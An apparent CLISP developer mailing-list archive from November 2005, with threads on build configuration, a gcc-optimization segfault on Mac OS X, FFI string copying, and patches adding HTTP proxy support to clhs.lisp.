>>> $ ./build-re/clisp -K full
>>>
>>> read:
>>> http://clisp.cons.org/impnotes/faq.html#faq-modules
>>> http://clisp.cons.org/impnotes/regexp-mod.html
>
>
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> * Juan C.Acosta Guadarrama <thnqneenzn@va.gh-pynhfguny.qr> [2005-11-20 23:49:16 +0100]:
>
> I've installed both sources and binaries from Fink sourceforge.net and
> I never found that configure file.

the sources must include configure. if they don't, please download the
latest sources from the official clisp distribution site.

all questions about binaries should be directed to your vendor
(i.e., the individual who build the binaries for you),
but not before you RTFM
(http://clisp.cons.org/impnotes/clisp.html#opt-link-set)
and try "clisp -K full"

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Raymond Toy wrote:
>Grabbing CVS clisp is a pain through the corporate
>firewall.
I use the transconnect package (also on sourceforge) to be able to connect to cvs-ssh.sourceforge. This is a different server from the normal one with the sole purpose of having SSH listen on the web SSL port (443 IIRC), instead of 22, which is the only SSL port that our corp. FW lets through.
IIRC there's a similar hostname for pserver access (see SF docs).

I use this in conjunction with
EXPORT CVS_RSH=my_cvs_ssl, a local script which sets the right port (443) for this particular purpose when invoking ssh:
#!/bin/sh
exec ssh -p 443 "$@"

transconnect is a nice package for UNIX using LD_PRELOAD with the effect of enabling networking proxying to be added transparently atop any SW which does not know about proxies.
I'd expect transconnect to work on Suns as well.

Thanks to transconnect, I can access the SF CVS server!

        LD_PRELOAD=$HOME/.tconn/tconn.so
        export LD_PRELOAD
	cvs foo...
	curl ... (without using -x)
	wget ... (without using its own proxy option)
	...

>It's much easier to stay with a released version.
Sure

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	Jorg Hohle.


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Hi,

Pascal Bourguigon proposed:
>> (defun lisp-string-to-foreign (string ptr size)
>>   (loop
>>      :with bytes =3D (ext:convert-string-to-bytes string
>> custom:*foreign-encoding*)
>>      :for byte :across bytes
>>      :do (setf (%mem-ref ptr :unsigned-char (post-incf i)) byte)

Please people, use array-copying functions instead of such element by =
element loops.
E.g., FFI:MEMORY-AS (setf'able) should be a good match for this =
example. It's in version 2.35, if not already in 2.34.

Something like
(setf (FFI:memory-as ptr
        (ffi:parse-c-type `(c-array uint8 ,(length my-array))))
      my-array)
Various optimizations are possible when working with 1:1 encodings =
(e.g. use arrays of characters instead of =
convert-string-from/to-bytes).

For the other direction, what about
(with-c-var (s 'c-pointer ptr) (cast s 'c-string))
[IIRC, FFI's handling of non-1:1 is not bogus with c-string, unlike =
arrays of fixed numbers of elements]
One may also have a look at my file ffi-patches-cvs in the clisp =
sourceforge patches section on UFFI: there's an optimized one for =
strings of known length.

For converting 1 or 2 bytes, these functions are not efficient, but =
should pay off as the string gets longer.

Regards,
	J=C3=B6rg H=C3=B6hle.


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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-20 17:26:15 +0100]:
>
> Does this help in any way?

yes.
SUMMARY:

segfault on startup in closed_buffered() when built with "gcc -O2"

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130

Thread 0 Crashed:
0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
7   lisp.run 	0x00002720 start + 60

no segfault when built with "gcc -g"

is this correct?

> Any more pointers to what I could try?

my current conjecture is that this is a GCC bug.
could you please figure out which optimization switch causes this?
you will need to
1. configure as usual (no "--with-debug")
2. build, make sure that you get the crash.
3. edit build/Makefile and change CFLAGS, removing some optimization
   flags
4. build again and see if you get the crash.

when you find the specific optimization flag that causes the crash,
please report it here so that makemake will omit it on macos.

5. upgrade to gcc 4.0 and see if the problem persists.

thanks a lot!


> Any additional information I can provide?

gcc --version
uname -a
(I am sure it is contained in some of the parent messages already, but I
want to keep each message as self-contained - but brief - as possible.)


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> * Raymond Toy <enlzbaq.gbl@revpffba.pbz> [2005-11-18 14:07:55 -0500]:
>
>>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
>
>     Sam> libnoreadline is built unless you specify --with-no-readline (sic!).
>     Sam> when you _run_ clisp, is readline used?
>
> Oh, I wasn't clear, because that's how I noticed the problem because
> C-p, C-n, tab etc. do nothing except insert themselves.

either readline was not found,
or clisp thinks that (= stdin stdout) => nil

for the first option, "./configure --with-readline" will now fail if it
does not find a useable readline installation (ldd will also help after
you have built already).

for the second option, you need to look at
clisp/src/stream.d:stdio_same_tty_p and figure out why it returns 0.

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Sam Steingold wrote:
> 
> 
> either readline was not found,
> or clisp thinks that (= stdin stdout) => nil
> 
> for the first option, "./configure --with-readline" will now fail if it
> does not find a useable readline installation (ldd will also help after
> you have built already).
> 
> for the second option, you need to look at
> clisp/src/stream.d:stdio_same_tty_p and figure out why it returns 0.
> 

I was doing this with 2.35.  I will try again with CVS head.

BTW, CVS head compiled just fine on Mac OS X.  It also didn't use
readline, but I'll have to look at that in more detail, since OSX comes
with libreadline.

Ray


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Sam Steingold wrote:
> 
> 
> either readline was not found,
> or clisp thinks that (= stdin stdout) => nil
> 
> for the first option, "./configure --with-readline" will now fail if it
> does not find a useable readline installation (ldd will also help after
> you have built already).
> 
> for the second option, you need to look at
> clisp/src/stream.d:stdio_same_tty_p and figure out why it returns 0.
> 

I was doing this with 2.35.  I will try again with CVS head.

BTW, CVS head compiled just fine on Mac OS X.  It also didn't use
readline, but I'll have to look at that in more detail, since OSX comes
with libreadline.

Ray



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> * Raymond Toy <egbl@rneguyvax.arg> [2005-11-21 16:16:15 -0500]:
>
> BTW, CVS head compiled just fine on Mac OS X.  It also didn't use
> readline, but I'll have to look at that in more detail, since OSX
> comes with libreadline.

see clisp/unix/PLATFORMS for that.

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On Nov 21, 2005, at 19:22, Sam Steingold wrote:

> SUMMARY:
>
> segfault on startup in closed_buffered() when built with "gcc -O2"
>
> Exception:  EXC_BAD_ACCESS (0x0001)
> Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130
>
> Thread 0 Crashed:
> 0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
> 1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
> 2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
> 3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
> 4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
> 5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
> 6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
> 7   lisp.run 	0x00002720 start + 60
>
> no segfault when built with "gcc -g"
>
> is this correct?

Correct, but see below.


> my current conjecture is that this is a GCC bug.

I think you may be right; I recently upgraded to Apples Xcode Tools  
2.2, which includes GCC 4.0.1. Before (this thread) I have been using  
GCC 4.0.0.

I now also recompiled CLISP 2.35 using GCC 4.0.1, which also gives  
the segfault (sorry for not figuring that out earlier).

> gcc --version

powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc.  
build 5247)

> uname -a

Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon  
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> could you please figure out which optimization switch causes this?
> you will need to
> 1. configure as usual (no "--with-debug")
> 2. build, make sure that you get the crash.
> 3. edit build/Makefile and change CFLAGS, removing some optimization
>    flags
> 4. build again and see if you get the crash.
>
> when you find the specific optimization flag that causes the crash,
> please report it here so that makemake will omit it on macos.

The "-DSAFETY=3" seems to do the trick. Adding this flag to the  
original CFLAGS gives a build that does not crash.

The CFLAGS that works for me looks like:

CFLAGS = -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn- 
type -Wmissing-declarations -Wno-sign-compare -O2 -DSAFETY=3 - 
DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -I.


I also tried all the combinations below, and they all segfault:

* "gcc -O"
* "gcc" (no optimaztion)
* "gcc -falign-functions=4" (no optimization)
* "gcc -falign-functions=4 -g"


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attempt No. 2:

> 0. read <http://clisp.cons.org/impnotes/environment-dict.html#describe>

describe is present on this page? I not find it...

> 1. check (custom:clhs-root) and see if you like it.

[1]> (custom:clhs-root)
"C:/CL/doc/HyperSpec/"

> 2. make sure that (custom:impnotes-root) returns
>    "http://www.podval.org/~sds/clisp/impnotes/".

[2]> (custom:impnotes-root)
"http://www.podval.org/~sds/clisp/impnotes/"

> 3. set *browser* to something you like (:default on woe32, cygwin,
>    macos, :mozilla on other unices)

[3]> *browser*
:DEFAULT

> 4. evaluate (describe 'nreverse)

[4]> (describe 'nreverse)

NREVERSE is the symbol NREVERSE, lies in #<PACKAGE COMMON-LISP>, is
accessible in 17 packages ASDF, CLOS,
COMMON-LISP, COMMON-LISP-USER, EXPORTING, EXT, FFI, LDAP, MAKE, PCRE,
POSIX, RAWSOCK, READLINE, REGEXP,
SCREEN, SYSTEM, ZLIB, names a
;; SYSTEM::GET-CLHS-MAP(#<INPUT BUFFERED FILE-STREAM CHARACTER
#P"C:\\CL\\doc\\HyperSpec\\Data\\Map_Sym.txt" @
1>)...978/978 symbols
 function.
;; starting the default system browser with url
"C:/CL/doc/HyperSpec/Body/f_revers.htm"...done
;; connecting to
"http://www.podval.org/~sds/clisp/impnotes/id-href.map"...cannot connect
to "www.podval.org":

Winsock error 10022 (EINVAL): Invalid argument

WARNING: IMPNOTES-ROOT returns invalid value
"http://www.podval.org/~sds/clisp/impnotes/", fix it,
          (GETENV "IMPNOTES")
         or *IMPNOTES-ROOT-DEFAULT*

 #<PACKAGE COMMON-LISP> is the package named COMMON-LISP. It has 2
nicknames LISP, CL.
 It imports the external symbols of 1 package CLOS and exports 978
symbols to 16 packages ASDF, MAKE, ZLIB,
 RAWSOCK, PCRE, LDAP, READLINE, REGEXP, POSIX, EXPORTING, FFI, SCREEN,
CLOS, COMMON-LISP-USER, EXT, SYSTEM.

 #<SYSTEM-FUNCTION NREVERSE> is a built-in system function.
 Argument list: (ARG0).


Manually open "http://www.podval.org/~sds/clisp/impnotes/id-href.map"
very for a long time, but it is possible.

Ah oops, I am behind proxy server - as it to specify?

Thansk!

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> Ah oops, I am behind proxy server - as it to specify?
> 

I see clhs.lisp: by analogy to the url-connection from asdf-install
(public domain) it is necessary for open-http define *proxy-port*
*proxy-host* *proxy-user* *proxy-password* or parse proxy-string
"proxy-user:proxy-password@proxy-host:proxy-port" from *proxy* or
environment variable HTTP_PROXY.

Need help?

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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-22 07:03:42 +0100]:
>
> On Nov 21, 2005, at 19:22, Sam Steingold wrote:
>
>> SUMMARY:
>>
>> segfault on startup in closed_buffered() when built with "gcc -O2"
>>
>> Exception:  EXC_BAD_ACCESS (0x0001)
>> Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130
>>
>> Thread 0 Crashed:
>> 0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
>> 1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
>> 2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
>> 3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
>> 4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
>> 5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
>> 6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
>> 7   lisp.run 	0x00002720 start + 60
>>
>> no segfault when built with "SAFETY=3"
>
> I think you may be right; I recently upgraded to Apples Xcode Tools
> 2.2, which includes GCC 4.0.1. Before (this thread) I have been using
> GCC 4.0.0.
>
> I now also recompiled CLISP 2.35 using GCC 4.0.1, which also gives the
> segfault (sorry for not figuring that out earlier).
>
>> gcc --version
>
> powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc.  build
> 5247)
>
>> uname -a
>
> Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon  Oct
> 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power
> Macintosh powerpc
>
>> could you please figure out which optimization switch causes this?
>> you will need to
>> 1. configure as usual (no "--with-debug")
>> 2. build, make sure that you get the crash.
>> 3. edit build/Makefile and change CFLAGS, removing some optimization
>>    flags
>> 4. build again and see if you get the crash.
>>
>> when you find the specific optimization flag that causes the crash,
>> please report it here so that makemake will omit it on macos.
>
> The "-DSAFETY=3" seems to do the trick. Adding this flag to the
> original CFLAGS gives a build that does not crash.
>
> The CFLAGS that works for me looks like:
>
> -O2 -DSAFETY=3
>
> I also tried all the combinations below, and they all segfault:
>
> * "gcc -O"

-O == -O2
how about -O1 ?

> * "gcc" (no optimaztion)
> * "gcc -falign-functions=4" (no optimization)
> * "gcc -falign-functions=4 -g"

now please keep -O2 but set SAFETY to different values.
SAFETY=0 (default) ==> segfault
SAFETY=3 ==> no segfault
what about SAFETY=1 and SAFETY=2?

BTW, do you observe the segfault with the 2.35 binaries from the SF?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-11-22 11:58:04 +0200]:
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>> 0. read <http://clisp.cons.org/impnotes/environment-dict.html#describe>
> describe is present on this page? I not find it...

sorry, make it
http://www.podval.org/~sds/clisp/impnotes/environment-dict.html#describe


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-11-22 13:50:04 +0200]:
>
>> Ah oops, I am behind proxy server - as it to specify?
>
> I see clhs.lisp: by analogy to the url-connection from asdf-install
> (public domain) it is necessary for open-http define *proxy-port*
> *proxy-host* *proxy-user* *proxy-password* or parse proxy-string
> "proxy-user:proxy-password@proxy-host:proxy-port" from *proxy* or
> environment variable HTTP_PROXY.

please try the appended patch.

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--- clhs.lisp	19 Nov 2005 23:44:29 -0500	1.31
+++ clhs.lisp	22 Nov 2005 10:51:52 -0500	
@@ -85,6 +85,24 @@
  --> <URL:~a>~%" 'browse-url url)))))
 
 ;;; see also clocc/cllib/net.lisp
+(defvar *proxy* nil
+  "A list of 4 elements (user password host port), parsed from $HTTP_PROXY
+proxy-user:proxy-password@proxy-host:proxy-port")
+(defun proxy (&optional (proxy-string (getenv "HTTP_PROXY") proxy-p))
+  "When the argument is supplied or *PROXY* is NIL, parse the argument,
+set *PROXY*, and return it; otherwise just return *PROXY*."
+  (when (or proxy-p (null *proxy*))
+    (check-type proxy-string string)
+    (let* ((at (position #\@ proxy-string))
+           (colon1 (and at (position #\: proxy-string :end at)))
+           (colon2 (position #\: proxy-string :start (or at 0))))
+      (setq *proxy*
+            (list (and at (subseq proxy-string 0 (or colon1 at)))
+                  (and at colon1 (subseq proxy-string (1+ colon1) at))
+                  (subseq proxy-string (if at (1+ at) 0) colon2)
+                  (and colon2 (parse-integer proxy-string
+                                             :start (1+ colon2)))))))
+  *proxy*)
 
 (defmacro with-http-input ((var url) &body body)
   (if (symbolp var)
@@ -96,20 +114,26 @@
                 (MULTIPLE-VALUE-PROG1 (PROGN ,@body-rest)
                   (when ,(first var) (CLOSE ,(first var))))
              (when ,(first var) (CLOSE ,(first var) :ABORT T)))))))
-(defun open-http (url &key (if-does-not-exist :error))
+(defun open-http (url &key (if-does-not-exist :error) (default-port 80))
   (unless (string-equal #1="http://" url
                         :end2 (min (length url) #2=#.(length #1#)))
     (error "~S: ~S is not an HTTP URL" 'open-http url))
   (format t "~&;; connecting to ~S..." url) (force-output)
-  (let* ((host-end (position #\/ url :start #2#)) status code
-         (host (subseq url #2# host-end)) content-length
-         (path (if host-end (subseq url host-end) "/"))
+  (let* ((host-port-end (position #\/ url :start #2#)) status code
+         (port-start (position #\: url :start #2# :end host-port-end))
+         (host (subseq url #2# (or port-start host-port-end))) content-length
+         (port (if port-start
+                   (parse-integer url :start (1+ port-start)
+                                  :end host-port-end)
+                   default-port))
+         (path (if host-port-end (subseq url host-port-end) "/"))
          (sock (handler-bind ((error (lambda (c)
                                        (unless (eq if-does-not-exist :error)
-                                         (format t "cannot connect to ~S: ~A~%"
-                                                 host c)
+                                         (format
+                                          t "cannot connect to ~S:~D: ~A~%"
+                                          host port c)
                                          (return-from open-http nil)))))
-                 (socket:socket-connect 80 host :external-format :dos))))
+                 (socket:socket-connect port host :external-format :dos))))
     (format t "connected...") (force-output)
     (format sock "GET ~A HTTP/1.0~%User-agent: ~A~%Host: ~A~%Accept: */*~%Connection: close~2%" path (lisp-implementation-type) host) ; request
     (write-string (setq status (read-line sock))) (force-output)


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Sam Steingold wrote:

> please try the appended patch.
> 

1. proxy-host has protokol prefix - http
result:

CL-USER> (proxy "user:password@http://www.proxy.com:3128")
PARSE-INTEGER: substring "//www.proxy.com:3128" does not have integer
syntax at position 0

2. Where in open-http proxy?

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-11-22 18:29:16 +0200]:
>
> 1. proxy-host has protokol prefix - http
> 2. Where in open-http proxy?

oops...

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--- clhs.lisp	19 Nov 2005 23:44:29 -0500	1.31
+++ clhs.lisp	22 Nov 2005 11:57:03 -0500	
@@ -4,7 +4,8 @@
 
 (in-package "EXT")
 
-(export '(clhs clhs-root read-from-file browse-url open-http with-http-input))
+(export '(clhs clhs-root read-from-file browse-url open-http with-http-input
+          proxy))
 
 (in-package "SYSTEM")
 
@@ -85,6 +86,31 @@
  --> <URL:~a>~%" 'browse-url url)))))
 
 ;;; see also clocc/cllib/net.lisp
+(defvar *proxy* nil
+  "A list of 4 elements (user password host port), parsed from $HTTP_PROXY
+proxy-user:proxy-password@proxy-host:proxy-port")
+(defconstant *http-port* 80)
+(defun proxy (&optional (proxy-string (getenv "HTTP_PROXY") proxy-p))
+  "When the argument is supplied or *PROXY* is NIL, parse the argument,
+set *PROXY*, and return it; otherwise just return *PROXY*."
+  (when (or proxy-p (and (null *proxy*) proxy-string))
+    (check-type proxy-string string)
+    (let* ((start (if (string-equal #1="http://" proxy-string
+                                    :end2 (min (length proxy-string)
+                                               #2=#.(length #1#)))
+                      #2# 0))
+           (at (position #\@ proxy-string :start start))
+           (colon1 (and at (position #\: proxy-string :start start :end at)))
+           (colon2 (position #\: proxy-string :start (or at 0))))
+      (setq *proxy*
+            (list (and at (subseq proxy-string start (or colon1 at)))
+                  (and at colon1 (subseq proxy-string (1+ colon1) at))
+                  (subseq proxy-string (if at (1+ at) start) colon2)
+                  (if colon2
+                      (parse-integer proxy-string :start (1+ colon2))
+                      *http-port*)))
+      (format t "~&;; ~S=~S~%" '*proxy* *proxy*)))
+  *proxy*)
 
 (defmacro with-http-input ((var url) &body body)
   (if (symbolp var)
@@ -101,17 +127,26 @@
                         :end2 (min (length url) #2=#.(length #1#)))
     (error "~S: ~S is not an HTTP URL" 'open-http url))
   (format t "~&;; connecting to ~S..." url) (force-output)
-  (let* ((host-end (position #\/ url :start #2#)) status code
-         (host (subseq url #2# host-end)) content-length
-         (path (if host-end (subseq url host-end) "/"))
+  (proxy)
+  (let* ((host-port-end (position #\/ url :start #2#))
+         (port-start (position #\: url :start #2# :end host-port-end))
+         (url-host (subseq url #2# (or port-start host-port-end)))
+         (host (if *proxy* (third *proxy*) url-host))
+         (url-port (if port-start
+                       (parse-integer url :start (1+ port-start)
+                                      :end host-port-end)
+                       *http-port*))
+         (port (if *proxy* (fourth *proxy*) url-port))
          (sock (handler-bind ((error (lambda (c)
                                        (unless (eq if-does-not-exist :error)
-                                         (format t "cannot connect to ~S: ~A~%"
-                                                 host c)
+                                         (format
+                                          t "cannot connect to ~S:~D: ~A~%"
+                                          host port c)
                                          (return-from open-http nil)))))
-                 (socket:socket-connect 80 host :external-format :dos))))
+                 (socket:socket-connect port host :external-format :dos)))
+         status code content-length)
     (format t "connected...") (force-output)
-    (format sock "GET ~A HTTP/1.0~%User-agent: ~A~%Host: ~A~%Accept: */*~%Connection: close~2%" path (lisp-implementation-type) host) ; request
+    (format sock "GET ~A HTTP/1.0~%User-agent: ~A~%Host: ~A~%Accept: */*~%Connection: close~2%" url (lisp-implementation-type) host) ; request
     (write-string (setq status (read-line sock))) (force-output)
     (let* ((pos1 (position #\Space status))
            (pos2 (position #\Space status :start (1+ pos1))))


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On Nov 22, 2005, at 16:17, Sam Steingold wrote:

>>> SUMMARY:
>>>
>>> segfault on startup in closed_buffered() when built with "gcc -O2"
>>>
>>> Exception:  EXC_BAD_ACCESS (0x0001)
>>> Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130
>>>
>>> Thread 0 Crashed:
>>> 0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
>>> 1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
>>> 2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
>>> 3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
>>> 4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
>>> 5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
>>> 6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
>>> 7   lisp.run 	0x00002720 start + 60
>>>
>>> no segfault when built with "SAFETY=3"
>>
>>> gcc --version
>>
>> powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc.   
>> build
>> 5247)
>>
>>> uname -a
>>
>> Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0:  
>> Mon  Oct
>> 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power
>> Macintosh powerpc


>> * "gcc -O"
>
> -O == -O2
> how about -O1 ?

Hmm, the man-page on Darwin says -O == -O1. Just to make sure, I  
built it with "-O1" as well; it still segfaults.


> now please keep -O2 but set SAFETY to different values.
> SAFETY=0 (default) ==> segfault
> SAFETY=3 ==> no segfault
> SAFETY=1

==> segfault

> SAFETY=2

==> segfault

> BTW, do you observe the segfault with the 2.35 binaries from the SF?

The latest build I can find on SF is for Darwin 7.9.0 (Mac OS X  
10.3.9), but that one seems to work fine, no segfaults.


I tried building from CVS head on another Mac, running OS X 10.4.2  
and GCC 4.0.0; this also gives a crash dump, which falsifies my  
previous thought that this had to do with the upgrade from GCC 4.0.0  
to 4.0.1.

uname -a

Darwin Johans-Mac-mini.local 8.2.0 Darwin Kernel Version 8.2.0: Fri  
Jun 24 17:46:54 PDT 2005; root:xnu-792.2.4.obj~3/RELEASE_PPC Power  
Macintosh powerpc

gcc --version

powerpc-apple-darwin8-gcc-4.0.0 (GCC) 4.0.0 20041026 (Apple Computer,  
Inc. build 4061)


As I reported before, CLISP actually starts after the stack trace and  
other stuff has been written to "~/Library/Logs/CrashReporter/ 
lisp.run.crash.log"; is this due to some sort of libsigsegv-magic,  
or...? This is the reason why I haven't noticed it before; I stumbled  
upon this problem when I was browsing through the logs and saw a  
suspiciously large number of CLISP crashes, but I had not noticed it  
when I was using CLISP.

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> * Johan Liseborn <wbuna@yvfrobea.fr> [2005-11-22 07:03:42 +0100]:
>
> On Nov 21, 2005, at 19:22, Sam Steingold wrote:
>
>> SUMMARY:
>>
>> segfault on startup in closed_buffered() when built with "gcc -O2"
>>
>> Exception:  EXC_BAD_ACCESS (0x0001)
>> Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130
>>
>> Thread 0 Crashed:
>> 0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
>> 1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
>> 2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
>> 3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
>> 4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
>> 5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
>> 6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
>> 7   lisp.run 	0x00002720 start + 60
>>
>> no segfault when built with "gcc -g"
>>
>> gcc --version
>
> powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc.  build
> 5247)
>
>> uname -a
>
> Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0: Mon  Oct
> 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power
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>
> I also tried all the combinations below, and they all segfault:
>
> * "gcc -falign-functions=4 -g"

good - please run under gdb and see why it segfaults.

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On Nov 22, 2005, at 21:38, Sam Steingold wrote:

>>> SUMMARY:
>>>
>>> segfault on startup in closed_buffered() when built with "gcc -O2"
>>>
>>> Exception:  EXC_BAD_ACCESS (0x0001)
>>> Codes:      KERN_PROTECTION_FAILURE (0x0002) at 0x19fb6130
>>>
>>> Thread 0 Crashed:
>>> 0   lisp.run 	0x0006f8b4 closed_buffered + 48 (crt.c:355)
>>> 1   lisp.run 	0x0007850c closed_all_files + 108 (crt.c:355)
>>> 2   lisp.run 	0x000289ac loadmem_from_handle + 3168 (crt.c:355)
>>> 3   lisp.run 	0x00028c68 loadmem + 128 (crt.c:355)
>>> 4   lisp.run 	0x00029058 init_memory + 888 (crt.c:355)
>>> 5   lisp.run 	0x0002b610 main + 3940 (crt.c:355)
>>> 6   lisp.run 	0x00002878 _start + 340 (crt.c:272)
>>> 7   lisp.run 	0x00002720 start + 60
>>>
>>> no segfault when built with "gcc -g"
>>>
>>> gcc --version
>>
>> powerpc-apple-darwin8-gcc-4.0.1 (GCC) 4.0.1 (Apple Computer, Inc.   
>> build
>> 5247)
>>
>>> uname -a
>>
>> Darwin Johans-Computer.local 8.3.0 Darwin Kernel Version 8.3.0:  
>> Mon  Oct
>> 3 20:04:04 PDT 2005; root:xnu-792.6.22.obj~2/RELEASE_PPC Power
>> Macintosh powerpc
>>
>> I also tried all the combinations below, and they all segfault:
>>
>> * "gcc -falign-functions=4 -g"
>
> good - please run under gdb and see why it segfaults.

This seems to crash GDB...

Johans-Computer:~/work/clisp-current/build mjl$ gdb lisp.run
GNU gdb 6.1-20040303 (Apple version gdb-434) (Wed Nov  2 17:28:16 GMT  
2005)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and  
you are
welcome to change it and/or distribute copies of it under certain  
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for  
details.
This GDB was configured as "powerpc-apple-darwin"...Reading symbols  
for shared libraries ....... done

Breakpoint 1 at 0x42ab4: file eval.d, line 4937.
Breakpoint 2 at 0x3daf8: file eval.d, line 4020.
Breakpoint 3 at 0x36b10: file eval.d, line 2882.
Breakpoint 4 at 0x45d94: file eval.d, line 5906.
Breakpoint 5 at 0x132c8: file spvw_garcol.d, line 2430.
Hardware watchpoint 6: back_trace
Breakpoint 7 at 0x18978: file spvw.d, line 658.
Breakpoint 8 at 0x50d8: file spvw.d, line 479.
Breakpoint 9 at 0x51c0: file spvw.d, line 494.
Breakpoint 10 at 0x195898: file error.d, line 349.
Breakpoint 11 at 0x1957d0: file error.d, line 326.
Breakpoint 12 at 0x196afc: file errunix.c, line 680.
Breakpoint 13 at 0x196bec: file errunix.c, line 695.
Breakpoint 14 at 0x196e84: file error.d, line 425.
Breakpoint 15 at 0x196d14: file errunix.c, line 723.
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x00042ab4 in funcall at eval.d:4937
         xout fun
2   breakpoint     keep n   0x0003daf8 in apply at eval.d:4020
         xout fun
3   breakpoint     keep n   0x00036b10 in eval at eval.d:2882
         xout form
4   breakpoint     keep n   0x00045d94 in interpret_bytecode_ at  
eval.d:5906
         xout closure
5   breakpoint     keep n   0x000132c8 in gar_col at spvw_garcol.d:2430
6   hw watchpoint  keep n              back_trace
         zbacktrace
         continue
7   breakpoint     keep y   0x00018978 in fehler_notreached at spvw.d: 
658
8   breakpoint     keep y   0x000050d8 in SP_ueber at spvw.d:479
9   breakpoint     keep y   0x000051c0 in STACK_ueber at spvw.d:494
10  breakpoint     keep y   0x00195898 in fehler at error.d:349
11  breakpoint     keep y   0x001957d0 in prepare_error at error.d:326
12  breakpoint     keep y   0x00196afc in OS_error at errunix.c:680
13  breakpoint     keep y   0x00196bec in OS_file_error at errunix.c:695
14  breakpoint     keep y   0x00196e84 in OS_filestream_error at  
error.d:425
15  breakpoint     keep y   0x00196d14 in errno_out_low at errunix.c:723
Breakpoint 16 at 0x6294: file spvw_sigsegv.c, line 39.
.gdbinit:163: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) base
(gdb) run
Starting program: /Users/mjl/work/clisp-current/build/base/lisp.run - 
B . -N locale -M base/lispinit.mem -q -norc
Segmentation fault
Johans-Computer:~/work/clisp-current/build mjl$


I get the following stack trace for the GDB crash:

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_INVALID_ADDRESS (0x0001) at 0x006c10f0

Thread 0 Crashed:
0   gdb-powerpc-apple-darwin 	0x000c3688 dyld_is_objfile_loaded + 40
1   gdb-powerpc-apple-darwin 	0x0006fc24 insert_breakpoints + 236
2   gdb-powerpc-apple-darwin 	0x0005fa8c proceed + 432
3   gdb-powerpc-apple-darwin 	0x0008a46c run_command + 772
4   gdb-powerpc-apple-darwin 	0x0001b788 execute_command + 676
5   gdb-powerpc-apple-darwin 	0x000335c8 command_handler + 240
6   gdb-powerpc-apple-darwin 	0x00033d40 command_line_handler + 1248
7   gdb-powerpc-apple-darwin 	0x0017c8f8 rl_callback_read_char + 180
8   gdb-powerpc-apple-darwin 	0x00032d54  
rl_callback_read_char_wrapper + 20
9   gdb-powerpc-apple-darwin 	0x00037240 process_event + 188
10  gdb-powerpc-apple-darwin 	0x000381a4 gdb_do_one_event + 1096
11  gdb-powerpc-apple-darwin 	0x0001b1ac catcher + 216
12  gdb-powerpc-apple-darwin 	0x0001b438 catch_errors + 68
